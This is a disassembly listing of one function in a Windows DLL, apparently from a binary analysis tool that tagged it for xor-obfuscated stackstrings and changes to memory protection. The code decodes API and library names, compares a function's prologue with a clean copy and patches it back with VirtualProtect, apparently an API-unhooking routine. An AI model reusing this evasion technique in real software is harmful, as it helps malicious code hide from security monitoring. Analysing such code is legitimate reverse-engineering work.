Function at 0x1800ff644
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1158]
mov eax, 0x1218
call fcn.18026a280
sub rsp, rax
mov qword [rbp + 8], 0xfffffffffffffffe
mov r14, rdx
mov rdi, rcx
xor esi, esi
mov dword [rbp + 0x1178], esi
mov qword [rcx + 0x10], rsi
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
mov qword [rcx + 0x28], rsi
lea ebx, [rsi + 0xf]
mov qword [rcx + 0x30], rbx
mov byte [rcx + 0x18], sil
lea r13, [rcx + 0x38]
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rsi
mov qword [r13 + 0x18], rbx
xor r8d, r8d
lea rdx, [0x18027fdb8]
mov rcx, r13
call qword [sym.imp.VCRUNTIME140.dll_memmove]
mov byte [r13], sil
lea r12, [rdi + 0x58]
xorps xmm0, xmm0
movups xmmword [r12], xmm0
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], rbx
mov byte [r12], sil
mov byte [rdi + 0x78], 1
mov qword [rdi + 0x80], rsi
cmp qword [r14 + 0x18], 0x10
jb 0x1800ff6ff
mov rsi, qword [r14]
mov rcx, rsi
jmp 0x1800ff705
mov rcx, r14
mov rsi, r14
mov r15, qword [r14 + 0x10]
add r15, rcx
mov rbx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x1800ff719
mov rbx, qword [r14]
cmp rbx, r15
je 0x1800ff735
sub rsi, rbx
movzx ecx, byte [rbx]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
mov byte [rbx + rsi], al
inc rbx
cmp rbx, r15
jne 0x1800ff721
mov rdx, r14
lea rcx, [rdi + 0x18]
call fcn.18008c748
mov rdx, qword [rbp + 0x1170]
mov rcx, r12
call fcn.18008c748
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov esi, 1
mov qword [rbp - 0x50], rsi
lea ebx, [rsi + 0xe]
mov qword [rbp - 0x48], rbx
mov r8d, esi
lea rdx, [0x18027fdf8]
lea rcx, [rbp - 0x60]
call qword [sym.imp.VCRUNTIME140.dll_memmove]
xor r15d, r15d
mov byte [rbp - 0x5f], r15b
lea r8, [rbp - 0x60]
mov rdx, r14
lea rcx, [rbp - 0x80]
call fcn.180095670
nop
mov rdx, qword [rax + 8]
sub rdx, 0x20
mov rcx, r13
call fcn.18008c748
nop
lea rcx, [rbp - 0x80]
call fcn.18008d1e8
mov r13, qword [rbp + 0x1170]
mov r8, r13
mov rdx, r14
call fcn.18008d0c4
test rax, rax
je 0x1800ff7cd
mov qword [rdi + 8], rax
jmp 0x1800ffd32
mov rdx, r14
call fcn.18008cdbc
mov qword [rdi + 0x10], rax
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.IsWow64Process
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
cmp dword [0x1802c0a78], r15d
jne 0x1800ff81f
test rax, rax
je 0x1800ff819
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [0x1802c0ab0]
call rbx
mov dword [0x1802c0a78], esi
cmp dword [0x1802c0ab0], r15d
setne al
test al, al
je 0x1800ff831
mov byte [rdi + 0x78], r15b
mov rcx, rdi
call fcn.180125d00
mov byte [rsp + 0x3b], 0x4e
mov byte [rsp + 0x3c], 0x73
mov byte [rsp + 0x3d], 0x76
mov byte [rsp + 0x3e], 0x69
mov byte [rsp + 0x3f], 0x68
mov byte [rsp + 0x40], 0x73
mov byte [rsp + 0x41], 0x48
mov byte [rsp + 0x42], 0x6b
mov byte [rsp + 0x43], 0x6b
mov byte [rsp + 0x44], 0x48
mov byte [rsp + 0x45], 0x7b
mov byte [rsp + 0x46], 0x76
mov byte [rsp + 0x47], 0x74
mov byte [rsp + 0x48], r15b
mov al, byte [rsp + 0x3b]
mov r15d, esi
xor esi, esi
mov ecx, esi
mov al, byte [rsp + rcx + 0x3b]
sub al, 7
mov byte [rsp + rcx + 0x3b], al
inc rcx
cmp rcx, 0xd
jb 0x1800ff88a
xor r8d, r8d
lea rdx, [rsp + 0x3b]
mov rcx, r13
call fcn.1800934b4
or rbx, 0xffffffffffffffff
test rax, rax
je 0x1800ff959
mov dword [rsp + 0x4c], 0x11
mov byte [rsp + 0x50], 0x56
mov byte [rsp + 0x51], 0x7d
mov byte [rsp + 0x52], 0x7e
mov byte [rsp + 0x53], 0x73
mov byte [rsp + 0x54], 0x70
mov byte [rsp + 0x55], 0x7d
mov byte [rsp + 0x56], 0x56
mov byte [rsp + 0x57], 0x74
mov byte [rsp + 0x58], 0x65
mov byte [rsp + 0x59], 0x50
mov byte [rsp + 0x5a], 0x65
mov byte [rsp + 0x5b], 0x7e
mov byte [rsp + 0x5c], 0x7c
mov byte [rsp + 0x5d], 0x5f
mov byte [rsp + 0x5e], 0x70
mov byte [rsp + 0x5f], 0x7c
mov byte [rsp + 0x60], 0x74
xor eax, eax
mov byte [rsp + 0x61], al
mov al, byte [rsp + 0x50]
lea r15d, [rbx + 4]
mov rdx, rsi
mov al, byte [rsp + rdx + 0x50]
mov ecx, dword [rsp + 0x4c]
xor cl, al
mov byte [rsp + rdx + 0x50], cl
inc rdx
cmp rdx, 0x11
jb 0x1800ff928
mov byte [rsp + 0x61], sil
mov r8, rbx
lea rdx, [rsp + 0x50]
mov rcx, r13
call fcn.1800934b4
test rax, rax
jne 0x1800ff962
mov sil, 1
test r15b, 2
je 0x1800ff973
xor edx, edx
lea r8d, [rdx + 0x12]
lea rcx, [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_memset]
xor edx, edx
lea r8d, [rdx + 0xe]
lea rcx, [rsp + 0x3b]
call qword [sym.imp.VCRUNTIME140.dll_memset]
xor r15d, r15d
test sil, sil
je 0x1800ffa80
mov byte [rsp + 0x30], 0x7d
mov byte [rsp + 0x31], 0x7b
mov byte [rsp + 0x32], 0x6d
mov byte [rsp + 0x33], 0x7a
mov byte [rsp + 0x34], 0x3b
mov byte [rsp + 0x35], 0x3a
mov byte [rsp + 0x36], 0x36
mov byte [rsp + 0x37], 0x6c
mov byte [rsp + 0x38], 0x74
mov byte [rsp + 0x39], 0x74
mov byte [rsp + 0x3a], r15b
mov al, byte [rsp + 0x30]
mov ecx, r15d
mov al, byte [rsp + rcx + 0x30]
sub al, 8
mov byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x1800ff9ce
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], r15b
jne 0x1800ff9f5
mov r8, rbx
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x60]
call fcn.18007b70c
nop
xor edx, edx
lea r8d, [rdx + 0xb]
lea rcx, [rsp + 0x30]
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r8, rax
lea rdx, [rbp - 0x60]
call fcn.18008c99c
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1800ffa80
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800ffa7b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800ffa7b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.180269534
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x18010016c
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x1800ffa9b
mov rdx, qword [r13]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rdi], rax
cmp byte [rdi + 0x78], r15b
je 0x1800ffada
mov rcx, rdi
call fcn.18008f218
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov r15, qword [rdi]
sub r15, rbx
mov rcx, rdi
call fcn.180125d00
mov rax, qword [rdi + 0x10]
cmp rax, rbx
je 0x1800ffad7
lea rsi, [r15 + rax]
xor r15d, r15d
test rsi, rsi
jne 0x1800ffb42
mov rsi, qword [rdi]
test rsi, rsi
jne 0x1800ffb3e
mov rcx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x1800ffaf4
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1800ffb1b
mov rcx, r14
cmp qword [r14 + 0x18], 0x10
jb 0x1800ffb0c
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x18010016c
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x1800ffb29
mov rdx, qword [r13]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x18010016c
mov byte [rdi + 0x78], r15b
cmp byte [rdi + 0x78], r15b
je 0x1800ffd1b
mov rdx, rsi
call fcn.1801262d4
test al, al
jne 0x1800ffb5f
mov rsi, qword [rdi]
mov byte [rdi + 0x78], r15b
cmp byte [rdi + 0x78], r15b
je 0x1800ffd1b
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movups xmmword [rbp - 0x38], xmm1
movups xmmword [rbp - 0x28], xmm1
mov r8d, 0x20
mov rdx, rsi
lea rcx, [rbp - 0x18]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
lea rcx, [rbp + 0x80]
call fcn.18007ddc4
nop
lea rdx, [rdi + 0x18]
lea rcx, [rbp + 0x80]
call fcn.18007df10
test al, al
je 0x1800ffd0f
mov rdx, qword [rdi + 0x10]
lea rcx, [rbp + 0x80]
call fcn.180174f04
test al, al
je 0x1800ffd0f
mov ebx, 0x41
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x518]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x1800ffbf5
mov rdx, qword [r12]
lea r8, [rbp + 0x510]
lea rcx, [rbp + 0x80]
call fcn.180173504
test al, al
je 0x1800ffd0f
mov dword [rbp + 0x1180], r15d
mov r9d, dword [rbp + 0x670]
mov byte [rsp + 0x28], r15b
mov dword [rsp + 0x20], 1
mov r8d, 4
lea rdx, [rbp + 0x1180]
lea rcx, [rbp + 0x80]
call fcn.1801755f8
test al, al
je 0x1800ffd0f
mov edx, dword [rbp + 0x1180]
lea rcx, [rbp + 0x80]
call fcn.18017390c
mov r9, rax
mov byte [rsp + 0x28], r15b
mov dword [rsp + 0x20], 1
mov r8d, 0x20
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0x80]
call fcn.1801755f8
test al, al
je 0x1800ffd0f
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r15
lea r9, [rbp - 0x80]
xor r8d, r8d
mov dl, 1
call fcn.18009463c
test al, al
jne 0x1800ffdd5
mov r8, qword [rbp - 0x80]
test r8, r8
je 0x1800ffd0f
mov rcx, qword [rbp - 0x70]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
cmp rdx, 0x1000
mov rax, r8
jb 0x1800ffd06
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800ffef6
mov rcx, r8
call fcn.180269534
nop
lea rcx, [rbp + 0x80]
call fcn.180172968
mov r9, rsi
mov r8, r13
mov rdx, r14
call fcn.18008cec0
mov qword [rdi + 8], rsi
mov ebx, 0xf
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800ffd6c
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1800ffd67
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18010015e
mov rcx, r8
call fcn.180269534
mov qword [r14 + 0x10], r15
mov qword [r14 + 0x18], rbx
mov byte [r14], r15b
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x1800ffdb2
inc rdx
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x1800ffdad
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180100165
mov rcx, r8
call fcn.180269534
mov qword [r13 + 0x10], r15
mov qword [r13 + 0x18], rbx
mov byte [r13], r15b
mov rax, rdi
add rsp, 0x1218
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
lea rcx, [rbp + 0xc80]
call fcn.18007ddc4
nop
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0xc80]
call fcn.18007e004
xor edx, edx
test al, al
jne 0x1800ffe17
lea r9, [rbp - 0x80]
xor r8d, r8d
call fcn.18009463c
nop
lea rcx, [rbp + 0xc80]
call fcn.180172968
jmp 0x1800ffcae
mov r8, rbx
lea rcx, [rbp + 0x18]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x1800ffe33
mov rdx, qword [r12]
lea r8, [rbp + 0x10]
lea rcx, [rbp + 0xc80]
call fcn.18017344c
test al, al
je 0x1800ffe7b
mov ecx, dword [rbp + 0x668]
mov eax, esi
sub eax, dword [rdi + 0x10]
cmp ecx, eax
je 0x1800ffe7b
mov rax, qword [rdi + 0x80]
test rax, rax
je 0x1800ffe65
mov byte [rax], 1
mov r8, rcx
add r8, qword [rdi + 0x10]
mov rdx, r12
lea rcx, [rbp + 0xc80]
call fcn.180179ea0
lea r9, [rbp - 0x80]
xor r8d, r8d
xor edx, edx
call fcn.18009463c
nop
lea rcx, [rbp + 0xc80]
test al, al
je 0x1800ffe0d
call fcn.180172968
nop
movabs rbx, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp - 0x80]
test r8, r8
je 0x1800fff05
mov rcx, qword [rbp - 0x70]
sub rcx, r8
mov rax, rbx
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
mov rax, r8
cmp rdx, 0x1000
jb 0x1800ffefd
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800ffefd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.180269534
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r15
lea r9, [rsp + 0x68]
mov r8, qword [rdi + 0x10]
mov dl, 1
call fcn.18009463c
test al, al
jne 0x1800fff89
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x1800ffd0f
mov rcx, qword [rsp + 0x78]
mov rax, rbx
sub rcx, r8
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
cmp rdx, 0x1000
mov rax, r8
jb 0x1800ffd06
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800ffd06
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x7f0]
call fcn.18007ddc4
nop
mov byte [rsp + 0x20], 1
xor r9d, r9d
mov r8, qword [rdi + 0x10]
xor edx, edx
lea rcx, [rbp + 0x7f0]
call fcn.18017711c
xor edx, edx
test al, al
jne 0x1800fffd6
mov r8, qword [rdi + 0x10]
lea r9, [rsp + 0x68]
call fcn.18009463c
nop
lea rcx, [rbp + 0x7f0]
call fcn.180172968
jmp 0x1800fff27
mov r8d, 0x41
lea rcx, [rbp + 0x688]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov rdx, r12
cmp qword [r12 + 0x18], 0x10
jb 0x1800ffff8
mov rdx, qword [r12]
lea r8, [rbp + 0x680]
lea rcx, [rbp + 0x7f0]
call fcn.180173504
test al, al
je 0x180100157
mov r8d, dword [rbp + 0x668]
cmp r8d, dword [rbp + 0x7d8]
je 0x18010004a
cmp byte [rbp + 0x6cc], r15b
jne 0x18010004a
mov rax, qword [rdi + 0x80]
test rax, rax
je 0x18010003b
mov byte [rax], 1
mov rdx, r12
lea rcx, [rbp + 0x7f0]
call fcn.18017a000
lea r9, [rsp + 0x68]
mov r8, qword [rdi + 0x10]
xor edx, edx
call fcn.18009463c
nop
lea rcx, [rbp + 0x7f0]
test al, al
je 0x1800fffcc
call fcn.180172968
nop
mov r8, qword [rsp + 0x68]
test r8, r8
je 0x1801000cb
mov rcx, qword [rsp + 0x78]
sub rcx, r8
mov rax, rbx
imul rcx
sar rdx, 3
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 4
mov rax, r8
cmp rdx, 0x1000
jb 0x1801000c3
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800fff82
mov rcx, r8
call fcn.180269534
mov ebx, 0x20
mov r8d, ebx
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x18]
call qword [sym.imp.VCRUNTIME140.dll_memcmp]
test eax, eax
je 0x18010013f
mov rax, qword [rdi + 0x80]
test rax, rax
je 0x1801000f4
mov byte [rax], 1
lea r9, [rbp - 0x68]
mov r8d, 0x40
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x18010013f
mov rax, r15
mov cl, byte [rbp + rax - 0x38]
cmp byte [rbp + rax - 0x18], cl
je 0x18010011e
mov byte [rax + rsi], cl
inc rax
cmp rax, rbx
jb 0x180100111
lea r9, [rbp - 0x40]
mov r8d, dword [rbp - 0x68]
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x1800ffd0f
mov rax, qword [rdi + 0x80]
test rax, rax
je 0x1800ffd0f
mov byte [rax], r15b
jmp 0x1800ffd0f
xor edx, edx
jmp 0x1800fffb6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.18014e36c
int3